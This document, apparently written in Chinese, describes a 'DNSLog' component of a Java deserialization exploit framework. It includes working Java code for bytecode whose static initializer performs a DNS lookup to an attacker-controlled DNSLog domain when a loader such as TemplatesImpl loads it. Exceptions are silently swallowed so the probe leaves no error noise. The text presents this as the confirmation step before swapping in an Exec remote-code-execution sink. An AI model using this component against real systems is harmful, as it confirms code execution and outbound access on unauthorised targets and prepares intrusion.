- 类别:bytecode 别名:— 优先级:15
- 作者:Ar3h
- 依赖:无(仅需目标 JVM 与 DNS 解析)
生成一段字节码:其静态初始化块在类被加载时对指定域名执行 InetAddress.getByName(dnslog),向 DNSLog 平台发起一次 DNS 解析。用于探测字节码是否被成功加载/执行(出网探测的最小验证),是 RCE sink 之前的「打点」构件。
- 入口
tags:Bytecode—— 声明产出原始字节码byte[],可被nextTags=Bytecode的字节码加载器 BytecodeConvert 承接(后者再包进TemplatesImpl等装载点)。END—— 链终止标签,本 gadget 是最内层 sink。
- 衔接
nextTags:空 —— 自身即字节码源头。 excludes:无。
gadget 本体只做「取模板字节码 → 回填域名 → 返回」:
@Param(name="DNSLog地址", description="eg: x.dnslog.cn")
public String dnslog;
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(DNSLogBytecode.class); // 载入模板类
javassistHelper.modifyStringField("dnslog", this.dnslog); // 把静态字段 dnslog 改写为用户域名
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
this.context = context;
chain.doCreate(context); // 遵守由内向外约定(本类为 END)
byte[] bytes = this.getObject();
return bytes;
}modifyStringField("dnslog", ...) 通过 Javassist 直接改写模板类字节码里 static String dnslog 字段的常量值,无需重新编译源码。真正执行探测的是被改写的模板类 DNSLogBytecode:
public class DNSLogBytecode {
public static String dnslog;
public DNSLogBytecode() {
try { InetAddress.getByName(dnslog); } // 触发 DNS 解析
catch (UnknownHostException e) { /* 忽略 */ }
}
static { new DNSLogBytecode(); } // 类初始化即执行
}触发链条:上游加载器(如 TemplatesImpl.newTransformer())defineClass + newInstance 这段字节码 → 触发 <clinit> 静态块 → new DNSLogBytecode() → 构造器里 InetAddress.getByName(dnslog) 发起对 dnslog 的 DNS 查询。攻击者在 DNSLog 平台收到解析记录,即证明「字节码已被成功加载执行、且目标可出网 DNS」。异常被静默吞掉,不影响探测效果、也不留下报错噪声。
与 DNSLogWithInfo、DNSLogAndHttp 的区别:本类最朴素,只解析裸域名,不拼接利用链名/操作系统等信息子域名。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
dnslog |
DNSLog地址 | 接收解析的 DNSLog 域名,如 x.dnslog.cn |
无 | 任意可控域名 |
- description:「发起 DNSLog 请求的字节码,用于探测字节码是否可以执行成功」。
- 不依赖第三方库,跨 JDK 通用;只要目标能加载该类并能出网 DNS 即可。
- 是「先探测、后利用」策略里的验证环节:确认字节码通道打通后,再把 sink 换成
Exec等真正的 RCE 构件。
自由构件,未直接出现在 51 条预设链中(预设的「DNSLog探测链」用的是信息更丰富的 DNSLogWithInfo)。可手动与 BytecodeConvert 组成 [BytecodeConvert, DNSLog] 使用。
- 上游加载器(承接
Bytecode):BytecodeConvert →TemplatesImpl。 - 同族探测 sink:DNSLogWithInfo(附带链信息/系统信息子域名)、DNSLogAndHttp(同时探测 DNS 与 HTTP 出网并回传环境)。
- 功能对位的 RCE sink:
Exec(确认通道后替换)。